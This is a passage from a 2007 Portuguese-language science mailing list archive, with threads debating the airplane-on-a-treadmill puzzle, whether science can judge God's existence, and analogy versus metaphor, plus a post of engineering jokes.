>> por verdadeira
>> supõe que
>> > sua negativa é falsa. E em qualquer caso o
>> cientista deve procurar
>> > evidências, testar a tese e tentar fazer previsões
>> com ela antes de
>> > aceitá-la. Mas CADÊ A EVIDÊNCIA?
>> >
>> > Em minha opinião, a melhor resposta de um
>> cientista ou simpatizante,
>> quando
>> > questionado sobre a existência de deus, é a
>> seguinte: "Nunca vi
>> evidência da
>> > existência nem da não-existência de deus, portando
>> NÃO TENHO
>> CONDIÇÕES DE
>> > AFIRMAR SE EXISTE OU NÃO." E essa resposta delega
>> a decisão somente
>> à fé,
>> > que em minha opinião nada tem que ver com ciência.
>> >
>> > O problema é que com essa resposta não teríamos
>> discussões interessantes
>> > como essa que tenho acompanhado.
>> >
>> > Abraço...
>> >
>> > Álvaro
>> >
>> >
>> > [As partes desta mensagem que não continham texto
>> foram removidas]
>> >
>>
>>
>>
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> 07:44
>
>



SUBJECT: Fw: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 00:06

Olá, Homero! Claro que o problema não é de uma pessoa andando em esteira
ergométrica. Mencionei isso pelo fato de ser uma experiência fácil de ser
feita, se é que vc ainda não andou em uma esteira para exercícios ou exames
ergométricos.
Imaginei que vc ia perceber minha explicação - da opção da velocidade ser
medida em relação a um ponto localizado na esteira - quando olhasse pelo
visor transparente que coloquei no piso do compartimento de cargas. Por ele
vc vê a esteira se deslocando para trás do mesmo modo como vc veria o piso
da pista, caso o avião estivesse decolando numa pista de aeroporto. Os
movimentos relativos não permitem vc saber se é a esteira-pista que está se
deslocando sob o avião ou se é o avião que se desloca sobre a pista-esteira.
Numa decolagem normal a pista do aeroporto *está parada* e quem se desloca é
o avião. No caso que tento lhe explicar, a pista-esteira se desloca e o
avião está praticamente parado. Nesse caso, a velocidade de um e do outro,
medida em relação à esteira, são iguais em sentidos contrários.
Faço outros comentários no corpo do e-mail abaixo, após JR -, OK?
.............................................
----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 12:39 AM
Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
problemas sim


Olá Jose Renato
Renato: "Olá, Homero! Em vez de repetir que é absurdo podia estar
pensando sobre os diversos enfoques do problema. Acorde, seja
objetivo e vamos ver se a ficha despenca de uma vez...
Vc está em uma esteira ergométrica. Vc está andando *na mesma
velocidade* da esteira em sentido contrário."

Será possível??!! Será que é uma incapacidade cognitiva permanente????
NINGUÉM está ANDANDO na esteira, Renato, pois para ANDAR na esteira se
usam os pés e pernas, não PROPULSÃO como aviões.

Tente isto, você está SOBRE PATINS na esteira, e tem uma hélice de
parapente movido a motor em suas costas, que o fazem avançar. NÃO
IMPORTA a velocidade da esteira, as rodas do patins impedirão que você
seja levado para tras, e as hélices o farão SAIR VOANDO (no sentido
figurado) de cima da esteira.
JR - Isso ocorre quando as velocidades da esteira e do patinador estiverem
sendo medidas em relação ao chão.

Mesmo sem a hélice, pense, você se segura na borda, bem fracamente, e
NÃO move as pernas, NÃO anda. Mesmo assim, não se move, pois a esteira
NÃO pode mais afeta-lo, pois ESTÁ DE PATINS.

Acelere a esteira, e nada, não se move. Mesmo com a esteira rolando
BEM rápido sob você, basta usar pouca força, um mínimo, nas bordas com
as mãos, para AVANÇAR, sobre a esteira, em relação ao chão.
JR - Vc está esquecendo uma das premissas principais do problema que é: a
esteira e o avião ou nesse caso o patinador se deslocam na mesma velocidade,
em sentidos contrários.

A esteira só pode afeta-lo, já que NÃO ANDA, através do atrito nos
rolamentos do patins. Se forem bons patins, importados, com baixissimo
atrito, será muito fácil se manter ou avançar MESMO QUE A ESTEIRA
ESTEJA ROLANDO BEM RÁPIDO SOB VOCÊ.
JR - Atente! A esteira e o patinador "têm de ter* a mesma velocidade!

Tente usar seu próprio exemplo, você está, NÃO andando, PATINANDO
sobre uma esteira de aeroporto, com hélices ligadas a suas costas.
A esteira pode rodar para frente, para tras ou ficar parada, NADA
DISSO INTERFERE em seu movimento, propulsionado pela hélices.
JR - Pelo enunciado do problema as velocidades devem ser iguais em sentidos
contrários.

Chega, não aguento mais sua teimosia. Se não entende, então não
entende, embora TODOS já tentassem explicar (e desistiram).
Você está errado. Viva com isso, ou aprenda, para mim chega.
JR - Pena... Vc fica sem aprender que o problema têm duas possibilidades de
resposta e não só uma.

Um abraço.
Homero

Abraços
José Renato
.....................................................................



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero! Em vez de repetir que é absurdo podia estar pensando
sobre os
> diversos enfoques do problema. Acorde, seja objetivo e vamos ver se
a ficha
> despenca de uma vez...
> Vc está em uma esteira ergométrica. Vc está andando *na mesma
velocidade* da
> esteira em sentido contrário. Sua velocidade está sendo medida em
relação a
> um ponto na esteira em movimento. Em relação ao solo vc está
praticamente
> parado...
> []s
> JR
> .................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 12:30 AM
> Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
> problemas sim
>
>
> Olá Jose Renato
>
> Renato: " O esquema que Luiz elaborou devia ter lhe revelado mais do
> que somente que o avião se desloca, não com a mesma velocidade da
> esteira mas sim, com o *dobro* da velocidade, quando ela medida em
> relação à esteira."
>
> O que o esquema demonstra, claramente, é que o avião DECOLA, ainda que
> a esteira se mova, em relação a ele, no dobro da velocidade. Na
> verdade é EXATAMENTE por isso que ele decola, porque, estando a
> esteira, em relação ao avião, no DOBRO da velocidade de decolagem,
> isso significa que EM RELAÇÃO AO SOLO, e a ar a sua volta, ele se
> desloca a velocidade de decolagem.
>
> Não adianta, Renato, enquanto não entender seu erro, vai ficar girando
> em círculos, pensando que o avião pode ser impedido de decolar pela
> esteira, apenas porque esta se move para tras.
>
> Renato: " O que ocorrerá se o avião estiver sobre uma esteira que se
> desloca com a *mesma* velocidade que ele, em sentido contrário, e vc
> olhar pelo visor do compartimento de bagagens? Vc verá a pista-esteira
> passando cada vez mais rápido sob o avião quando as turbinas
aceleram..."
>
> O que significa que este, o avião, se desloca em relação ao solo EM
> VELOCIDADE DE DECOLAGEM.
>
> Tem de compreender, sua "visão" está incorreta e equivocada, e o
> impede de avaliar o problema corretamente. Está tentando "ver" o avião
> e as forças em questão, quando tem de calcular, analisar a partir da
> física de vetores para entender.
>
> Sua compreensão de "rodas" e propulsão pelo atrito das rodas, está
> "bagunçando" sua cabeça. O avião não depende das rodas, o que
> significa que NÃO depende da esteira, que só pode agir sobre as rodas
> (e não sobre o avião e sobre seu movimento).
>
> Um avião, sobre uma esteira, que se move A MESMA velocidade deste, mas
> para tras, é uma imagem que não está sendo vista corretamente por
> você, devido a forma como "enxerga" as rodas.
>
> mas, na verdade, o avião nesta situação está se movendo, em relação ao
> solo e ao ar, em velocidade de decolagem, digamos 100 km/h, em relação
> a esteira no dobro dessa velocidade, 200 km/h. As rodas giram nessa
> velocidade, devido ao fato de que, o avião, as acelera a 100 km/h em
> uma direção, e a esteira, as "gira" (e, preste atenção, não as MOVE,
> para frente) a 100 km/h, de forma que elas tem de GIRAR no dobro da
> velocidade do avião e da esteira.
>
> Mas, o avião, para os efeitos de decolagem, está na velocidade correta
> e DECOLA.
>
> Repito, enquanto não conseguir se livrar da "pegadinha", do "red
> hering" que é a esteira,. não vai entender sem erro. Mesmo que alguém
> construisse um modelo real, e demonstrasse a você que o avião decola,
> ainda pensaria que estão tentando "enganar" você, e que sua visão é
> correta.
>
> Homero



SUBJECT: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 00:09

Fico grato, Ferrari, pelos parab�ns e por me informar que todos os meus dois neur�nios n�o
est�o presos � sem�ntica.
[]s
Jos� Renato
.............................................

From: "Ferrari" <emailferrari@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 4:14 PM
Subject: [ciencialist] Re: Papai Noel: Sobre o M�todo Cientifico -
adinfinitum


> Jos� renato >>> Homero! Quando � que vc vai entender
> que o Papai Noel existe? As crian�as sabem disso...
> Muitos adultos sabem disso... Afinal, quem � que lhes
> d� presentes no Natal? Vou repetir: o que n�o existe �
> o Papai Noel que vc imaginou quando crian�a.
>
> Ei homero, t� aqui um exemplo de inteligencia que n�o
> se prender a semantica.
>
> Parab�ns JR!
>
>
> sinceramente
> papai noel
>
>
> --- Jos� Renato <jrma@terra.com.br> escreveu:
>
>> Homero; [ Da mesma forma como "pode ser que exista"
>> Papai Noel, mas devido a
(apaguei o restante)

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: JR : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 00:16

Desculpe a troca, Ferrari!
Quem afirmou o que vc disse que não afirmou foi o Álvaro.
[]s
JR
..........................
From: "Ferrari" <emailferrari@Sent: Thursday, March 22, 2007 4:18 PM
Subject: [ciencialist] Re: JR : Sobre o Método Cientifico - adinfinitum


> JR,
>
> Não foi o ferrari que disse isto que vc disse que ele
> disse. Hehehehe... Bem, ao meu ver, qualquer um pode o
> que pode, e não pode o que não pode, só isto.
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Ferrari: [A ciência pode e deve questionar a
>> existência de tudo que não
>> tenha evidência, mas não deve afirmar que tal e tal
>> coisa não existe, só por
>> falta de evidências. ]
>>
>> Jeff: [ Não deve mesmo. Cientistas sérios e sensatos
>> não devem ser assim. E
>> não devem também dar atenção pra quem diz que tal
>> coisa existe sem ter
>> evidências, não concorda? ]
>>
> ...........................................................................
>>
>> José Renato comenta: Há bastante evidência que o
>> Universo existe. São nessas
>> evidências que nos devemos basear para
>> questionamentos, inferições,
>> experimentos, pesquisas, teorias, expectativas,
>> etc... Nem todos percebem as
>> mesmas coisas e investe tempo e trabalho para
>> elucidar o que está por trás
>> de, às vezes, tão poucas evidências percebidas. Caso
>> contrário, ainda
>> estaríamos imaginando que estamos "parado" e os
>> astros é que giram ao redor
>> da Terra; que o mundo se resume às terras onde
>> habitamos e às insondáveis
>> águas que nos cercam; que anti-matéria não existe; e
>> que a Ciência já é
>> capaz de esclarecer tudo o que ocorre no Universo e
>> realizar toda e qualquer
>> experiência de fenômenos possíveis existentes no
>> Universo.
>> []s
>> José Renato
>>
>> ----- Original Message -----
>> From: "Jefferson" <jeff@jeff.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Wednesday, March 21, 2007 9:49 PM
>> Subject: Re: [ciencialist] P/ Ferrari - : Sobre o
>> Método Cientifico -
>> adinfinitum
>>
>>
>> > Olá Álvaro,
>> >
>> >>
>> >>Não sou religioso, mas não acredito que a ciência,
>> por ser produto de
>> >>nossas
>> >>mentes, possa decidir sobre existência ou não de
>> um deus ou como quiserem
>> >>chamá-lo. Creio que podem, sim, existir coisas que
>> não temos condições de
>> >>compreender.
>> >>Coisas que podem ser muito maiores do que nós, e
>> simplesmente não caber em
>> >>nossa cabeça. Quem sabe podem existir "coisas" que
>> não cabem na nossa
>> >>cabeça, nem na da matemática, nem na da física?
>> >>
>> >
>> > Concordo. A ciência se limita em nossa capacidade
>> de raciocínio.
>> >
>> >>
>> >>A ciência pode e deve questionar a existência de
>> tudo que não tenha
>> >>evidência, mas não deve afirmar que tal e tal
>> coisa não existe, só por
>> >>falta
>> >>de evidências.
>> >>
>> >
>> > Não deve mesmo. Cientistas sérios e sensatos não
>> devem ser assim. E não
>> > devem também dar atenção pra quem diz que tal
>> coisa existe sem ter
>> > evidências, não concorda?
>> >
>> >>
>> >>Viemos de algum lugar. Ok, a vida surgiu a partir
>> de reações químicas. E
>> >>as
>> >>reações
>> >>vieram de onde? E esse "onde" veio de onde?
>> Simplesmente, por mais que
>> >>avancemos no sentido de entender nossas origens,
>> provavelmente jamais
>> >>chegaremos à causa última de nossa existência.
>> >>
>> >
>> > A teoria mais aceita é a do "big bang". Antes
>> disso, teoricamente, nada. O
>> > universo pode ser tão simples que poderemos, um
>> dia, entendê-lo
>> > completamente, ou não.
>> >
>> >>
>> >>Em minha opinião, a melhor resposta de um
>> cientista ou simpatizante,
>> >>quando
>> >>questionado sobre a existência de deus, é a
>> seguinte: "Nunca vi evidência
>> >>da
>> >>existência nem da não-existência de deus, portando
>> NÃO TENHO CONDIÇÕES
>> >>DE AFIRMAR SE EXISTE OU NÃO." E essa resposta
>> delega a decisão somente
>> >>à fé, que em minha opinião nada tem que ver com
>> ciência.
>> >>
>> >
>> > Muito sensato. Também penso assim e creio que
>> quase todo mundo aqui
>> > também.
>> >
>> > O problema desta discussão é que o Sr. Ferrari diz
>> saber a "verdade" e que
>> > esta não é científica. Só que a ÚNICA MANEIRA de
>> nós tentarmos entender as
>> > coisas é através da ciência, qualquer outra coisa
>> é viagem. É viagem
>> > porque
>> > quem tem alguma "explicação" não-científica, este
>> mesmo não pode
>> > entendê-la.
>> > Só conseguimos entender, realmente, algo que tenha
>> lógica.
>> >
>> > Mas, como dissemos, a ciência é limitada na
>> capacidade do nosso cérebro,
>> > no
>> > que conseguimos entender. Nos parece, até o
>> momento, que o universo tem
>> > uma
>> > lógica que entendemos e, por isso, cremos que um
>> dia o decifraremos por
>> > completo. Mas isso pode não ser verdade e, talvez,
>> nunca conseguiremos
>> > entender a realidade. Como já lí em algum lugar,
>> estamos como leigos
>> > assistindo um jogo de xadrez, observando os
>> movimentos das peças e
>> > tentando
>> > decifrar a regra geral do jogo. Escrevemos teorias
>> que descrever todos os
>> > movimentos até que aparece um "roque" e estraga
>> tudo :-)
>> >
>> > []´,s
>> > Jeff
>>
>>
>
>
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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 00:26

Uma só evidência, Jeff.
Existimos.
O que capaz de promover e manter a existência? Qual a causa primeira da
existência? Algo pouco conhecido ou até mesmos desconhecido com o poder de
fazer existir, ao qual vc pode dar o nome que quiser. O que seria isso? A
ciência ainda não sabe, mas procura saber...
[]s
JR
.....................................

From: "Jeff" <jeff@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 4:54 PM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


>> Jeff: [ Não deve mesmo. Cientistas sérios e sensatos não devem ser assim.
>> E não devem também dar atenção pra quem diz que tal coisa existe sem ter
>> evidências, não concorda? ]
>>
>> José Renato comenta: Há bastante evidência que o Universo existe. São
>> nessas evidências que nos devemos basear para questionamentos,
>> inferições,
>> experimentos, pesquisas, teorias, expectativas, etc... Nem todos percebem
>> as mesmas coisas e investe tempo e trabalho para elucidar o que está por
>> trás
>> de, às vezes, tão poucas evidências percebidas.
>
> Mas pelo menos UMA né? Não há uma única evidência de que exista algum
> deus,
> por exemplo. E falta de conhecimento de alguma coisa não valoriza nenhuma
> crença.
>
>>
>> e que a Ciência já é capaz de esclarecer tudo o que ocorre no Universo e
>> realizar
>>toda e qualquer experiência de fenômenos possíveis existentes no Universo.
>>
>
> Ninguém deve dizer isso enquanto TODO o universo não for explicado. O que
> pode ou não acontecer um dia.
>
> []´,s
> Jeff.
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> 07:44
>



SUBJECT: Re: [ciencialist] Analogia e metáfora
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 00:40

D. Esteban:

Compre um bom dicionário filosófico (tenho o de Nicola Abbagnano) onde vs. encontrará respostas às suas perguntas. Os dicionários tipo Aurélio são fracos e inclusive podem passar noções distorcidas.

sds.,

silvio.

Não transcrevo aqui seu desejo pois o scaner sifu.

sds.,

silvio.
----- Original Message -----
From: Esteban Moreno
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 23, 2007 4:55 PM
Subject: [ciencialist] Analogia e metáfora


Colegas listeiros,
qual a diferença entre uma analogia e uma metáfora? Soube que o ser humano é
a única espécie, até onde se saiba, capaz de realizar metáfora
(homo-metaforis). Acredito que o mesmo não seja válido para a analogia. Mas
já cavei no Houaiss e não consegui uma distinção clara entre ambos, parecem
praticamente sinônimos. Quem me dá uma luz? (luz é uma metáfora e/ou
analogia?)
Esteban.

[As partes desta mensagem que não continham texto foram removidas]






------------------------------------------------------------------------------


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Version: 7.5.446 / Virus Database: 268.18.16/729 - Release Date: 21/3/2007 07:52


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Analogia e metáfora
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 01:25

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> qual a diferença entre uma analogia e uma metáfora? Soube que o ser
> humano é a única espécie, até onde se saiba, capaz de realizar
> metáfora (homo-metaforis). Acredito que o mesmo não seja válido para a
> analogia. Mas já cavei no Houaiss e não consegui uma distinção clara
> entre ambos, parecem praticamente sinônimos. Quem me dá uma luz? (luz
> é uma metáfora e/ou analogia?)
> Esteban.

Tto metáfora como analogia se constituem em elementos de *comparação*.
Na metáfora a comparação é implícita - conferindo ao elemento de
comparação um significado conotativo -, enqto q na analogia a
comparação é explícita (conforme enfatizado por Homero, de uso por
meio do termo "como" ou equivalentes - "tal qual", "que nem", "da mm
forma", etc) - conferindo ao termo um significado denotativo.

A luz no caso de "me dá uma luz" é metonímica.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Analogia e metáfora
FROM: Pedro Ivo Braun <kyosky@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 08:39

Desculpem a intromiss�o mas tenho algumas d�vidas sobre essa mensagem:


On Mar 26, 2007, at 1:25 AM, rmtakata wrote:

>> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno" qual a
>> diferen�a entre uma analogia e uma met�fora?
At� onde eu saiba met�fora � o nome de um figura de linguagem na qual
se usa de analogias para expor uma id�ia. Ex:

A Aninha vem e diz: O meu namorado � muito bonzinho.
Conhecendo o lutador de Jiu-jitsu encrenqueiro que � o namorado dela
voc� responde: Bonzinho como um Pit-Bull. Eis uma analogia�

Mais tarde voc� vai contar para algu�m como a Aninha vive num mundo
de fantasia e diz: A Aninha acha que aquele Pit-Bull que ela namora �
um santo!
A analogia continua presente mas neste caso foi empregada uma
met�fora pois, bem, o sujeito n�o � um cachorro mas como ele tem um
temperamento condizente com o temperamento pelo qual os Pit Bulls s�o
famosos� enfim, voc� entendeu (espero).
>> Soube que o ser humano � a �nica esp�cie, at� onde se saiba,
>> capaz de realizar met�fora (homo-metaforis).
O homem � homo-sapiens, de onde voc�s tiram essas classifica��es
alternativas?!?!
> A luz no caso de "me d� uma luz" � meton�mica.
Onde est� a rela��o de "parte e todo" em "me d� uma luz"? � s�rio eu
n�o consigo ver. Para mim isso n�o � uma meton�mia.

Pedro Ivo

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 09:29

Olá JR,

>
> Uma só evidência, Jeff.
> Existimos.
>

E "existimos" é evidência de Deus?

>
> O que capaz de promover e manter a existência? Qual a causa primeira da
> existência? Algo pouco conhecido ou até mesmos desconhecido com o poder de
> fazer existir, ao qual vc pode dar o nome que quiser.
>

Isso já foi bastante explicado aqui, você que não quer ou não consegue ou
entender.

>
>O que seria isso? A ciência ainda não sabe, mas procura saber...
>

A explicação que já temos (evolução por seleção natural) faz sentido e não
precisa ter nenhuma divindade no meio.

[]´s,
Jeff.



SUBJECT: Re: Analogia e metáfora
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 09:35

--- Em ciencialist@yahoogrupos.com.br, Pedro Ivo Braun <kyosky@...>
> > A luz no caso de "me dá uma luz" é metonímica.
> Onde está a relação de "parte e todo" em "me dá uma luz"? É sério eu
> não consigo ver. Para mim isso não é uma metonímia.

A relaçãode parte pelo todo é apenas um caso especial de metonímia - q
recebe o nome de sinédoque.

http://www1.folha.uol.com.br/folha/educacao/ult305u13928.shtml

[]s,

Roberto Takata



SUBJECT: Piadas de Engenheiro
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 26/03/2007 11:22

Piadas de Engenheiro

LEITE
Por que o queijo e a manteiga são derivadas do leite?
Porque o leite é integral!

(Então se fizer uma integral dupla da manteiga ou do queijo, eu tenho uma
vaca? Teríamos que fazer uma integral de volume, então seria uma integração
tripla. Mas antes teríamos que parametrizar uma vaca, alguém sabe fazer
isso?
Talvez esse problema seja solucionado com teorema de Gauss ou Stokes). E se
fizer rotacional faz coalhada?

JESUS
Jesus disse a seus apóstolos:
Irmãos, y = ax²+bx+c...
Os apóstolos, confusos, responderam:
Mais senhor... o que é isso?
Jesus disse:
Apenas uma parábola.

VOVÔ
Estavam o avô e o neto conversando, quando o neto diz:
- Ah vovô eu vou desistir de engenharia, não consigo terminar!
E o avô retruca para o neto:
- Você pode desistir, mas eu vou continuar!

FESTA
Uma vez houve uma festa com todas as funções...
estavam lá, todos se divertindo, menos o e^x, que estava meio isolado.
Então chegaram pro e^x e perguntaram: "porque você não se integra?"
e ele respondeu: "ah, dá na mesma..."

PROFISSÃO MAIS ANTIGA
Um médico, um administrador e um engenheiro discutiam sobre qual seria a
mais
antiga das profissões.
O médico: está na Bíblia - Deus criou Eva a partir de uma costela de Adão.
Houve, então, um procedimento cirúrgico o que prova que a minha profissão é
a
mais antiga.
O administrador: lá no Gênesis está escrito que Deus criou o céu e a terra a
partir do caos. Não há dúvidas de que isso requer um bom conhecimento de
administração.
O engenheiro: e quem vocês acham que criou o caos?

RAPIDINHAS
O que foi que um vetor disse pro outro?
- Um momento, por favor! - Quantum?

O que é um menino complexo?
- É o que tem a mãe real e o pai imaginário.

O Engenheiro e a Teologia:
- Deus é real, a não ser que seja declarado inteiro.

O que é um urso polar?
- É um urso retangular, depois de uma troca de coordenadas.

Para uma pessoa otimista, o copo está meio-cheio.
Para um pessimista, ele está meio-vazio.
Para um engenheiro ele é duas vezes maior que o necessário.

Como se desmaia um vetor?
- Apaga a pontinha que ele perde o sentido.

Tenham um bom dia ! Isto é, 86.400 segundos de felicidade.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 12:23

Takata escreveu: [ A propriedade dessa realidade é material. Vc parece
disposto a aceitar chamar seu deus de realidade (ou deus-realidade), mas não
parece disposto a conferir a esse deus um caráter material. Logo, tenderá a
haver problemas no seu uso da expressão. ]
.............................

Caro, Takata! Declaração inspirada e reveladora, que permite alertar de que
a realidade não é apenas material. O Universo não é apenas matéria ou
energia-campo estruturados, dando-nos aparência de algo material, "sólido".
O que promove a criação material *é* imaterial; a criação é matéria-energia
material mas também é parte imaterial; e o que movimenta e sustenta a
criação de acordo com a intenção do criador também é imaterial. Uma coisa é
constatável: somos muito capazes e inteligentes mas, como já disse Ferrari,
não somos os agentes primeiros da criação, nem da nossa própria criação.
Lembrando Voltaire, se já nos achamos bem criados e capazes intelectualmente
após alguns milhões de anos, podemos imaginar o que pode ser capaz o eterno
criador. É claro que esse enfoque acima esboçado é mais utilizado nas
ciências da teologia, filosofia e metafísica, do que na ciência basicamente
experimental.

[]s

José Renato
...............................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 5:10 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Pode chamar de realidade, sem problema, "chame do que quiser" só
> não fique preso a esta semantica também. Use as semanticas, não
> deixe elas te usarem.

Não é questão de ficar preso à semântica. Como o Homero argumentou,
palavras têm significado. Não convém ficar mudando o significado delas
a torto e a direito. Se por exemplo, eu mudar o significado de "preso"
para livre, a sua frase ficaria: "só não fique livre desta semântica"
- o q seria exatamente o oposto do q vc deve ter pretendido querer dizer.

Ou se chamarmos um pedaço de madeira de mais ou menos 5 cm usado para
retirar resíduos presos entre os dentes de deus, chamaremos palitos de
dentes de deus e provaremos q deus existe. Só teremos q nos lembrar q
esse deus é um palito de dentes e não um ser transcendente.

Esse uso é possível, mas pouco prático. Serviria apenas para complicar
a comunicação.

A propriedade dessa realidade é material. Vc parece disposto a aceitar
chamar seu deus de realidade (ou deus-realidade), mas não parece
disposto a conferir a esse deus um caráter material. Logo, tenderá a
haver problemas no seu uso da expressão.

> Takata >>> Colocar a palavra deus na frente não traz
> nenhuma informação.
>
> --- Mais ou menos, é um recurso semantico que espanta
> o materialismo que os cientistas colocam na ciencia. A
> vezes até demais. hehehehe...

Como dito, não traz nenhuma informação.

> --- Discordo. O problema não foi meter deus na
> ciencia, foi meter um "dogma de deus", o que é bem
> diferente. Deus não é dogma, assim como realidade
> também não é.

Foi meter deus no meio da ciência. Lembre-se de q o vc chama de deus é
apenas um mapa mental.

> Takata >>> Fazer ciência de modo bem resumido é
> produzir conhecimento...
>
> --- E o que é conhecimento? E o que é produzir
> conhecimento? Percebe como o cientista ignora a base
> da ciencia? Ignora porque isto implica em
> não-materialismo.

Conhecimento é o entendimento a cerca das coisas q estão à nossa
volta, do mundo. De modo mais preciso, mas mais abstrato, conhecimento
é o conjunto de informações a respeito de um sistema - e informação é
um dado q diminui o nosso grau de incerteza a respeito desse sistema.

> Takata >>> Vc pulou pelo menos uma parte. Antes vc
> precisa mostrar q isso é apenas um mapa mental.
>
> --- Ué, isto que vc me disse não é um produto do seu
> pensamento? Ou vc é capaz de conhecer e transmitir o
> que conhece sem pensar?

Lamento, mas isso não mostra q seja apenas um mapa mental. No dia em q
vc conseguir sobreviver apenas *pensando* em comida, acreditarei q é
apenas um mapa mental.

[]s,

Roberto Takata



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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 13:11

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Caro, Takata! Declaração inspirada e reveladora, que permite alertar
> de que a realidade não é apenas material.

Vc acredita nisso, e é seu direito pensar assim. Mas nos atendo
exclusivamente aos fatos, não há nenhum indício de uma realidade
imaterial. Simplesmente, não traz informação alguma aventar uma porção
imaterial à realidade.

Esta realidade é material tto qto podemos saber. Pode não ser? Sim,
pode. Mas ainda está por se demonstrar q não seja.

[]s,

Roberto Takata



SUBJECT: Re: Renato : Sobre o Método Cientifico - ad infinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 13:15

Olá Jose Renato

Renato: ". É claro que esse enfoque acima esboçado é mais utilizado
nas ciências da teologia, filosofia e metafísica, do que na ciência
basicamente experimental."

Isso porque o enfoque é bobagem, e derivado da pouca compreensão de
termos como "material" e de distorções no uso de definições (que devem
ser precisas). Não que isso me espante..:-)

Vejamos: Renato "Declaração inspirada e reveladora, que permite
alertar de que a realidade não é apenas material. O Universo não é
apenas matéria ou energia-campo estruturados, dando-nos aparência de
algo material, "sólido". "

Material, cientificamente, é materia E energia E campos
eletromagneticos E tudo o mais que compõe o universo. Não é algo
"sólido", e até mesmo o vácuo quantico é "material". E o universo "É
SÓ" isso mesmo, até prova em contrário..:-)

Sem entender isso, não vai entender mais nada, e vai ficar com seu
"deus-papai-do-ceu-transcendente" entalado em sua mente, impedindo a
razão de agir.

Seu "deus" não pode ser um campo eletromagnético, pois seria
"material", não pode ser uma "energia", pois seria "material", etc,
etc. Esses termos, como "energia" tem definição precisa, e não servem
de substituto para divindades ou "deus".

Ou vai acabar rezando para o raio, como nossos ancestrais (na verdade,
eu acho que já reza, pois não vejo diferença entre Tupã, o raio, e
Jeová, o poderoso).

Renato: "O que promove a criação material *é* imaterial; "

Prove. Sem isso, é o mesmo que afirmar que quem criou o universo foram
os duendes, ou o ser extradimensional que retira energia dos buracos
negros para alimentar seu próprio universo, sem ligar a mínima para a
existência de seres neste universo.

Ou seja, uma afirmação tão improvável e tão sem evidências quanto a
sua (embora faça um pouco mais de sentido..:-).

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Takata escreveu: [ A propriedade dessa realidade é material. Vc parece
> disposto a aceitar chamar seu deus de realidade (ou deus-realidade),
mas não
> parece disposto a conferir a esse deus um caráter material. Logo,
tenderá a
> haver problemas no seu uso da expressão. ]
> .............................
>
> Caro, Takata! Declaração inspirada e reveladora, que permite alertar
de que
> a realidade não é apenas material. O Universo não é apenas matéria ou
> energia-campo estruturados, dando-nos aparência de algo material,
"sólido".
> O que promove a criação material *é* imaterial; a criação é
matéria-energia
> material mas também é parte imaterial; e o que movimenta e sustenta a
> criação de acordo com a intenção do criador também é imaterial. Uma
coisa é
> constatável: somos muito capazes e inteligentes mas, como já disse
Ferrari,
> não somos os agentes primeiros da criação, nem da nossa própria
criação.
> Lembrando Voltaire, se já nos achamos bem criados e capazes
intelectualmente
> após alguns milhões de anos, podemos imaginar o que pode ser capaz o
eterno
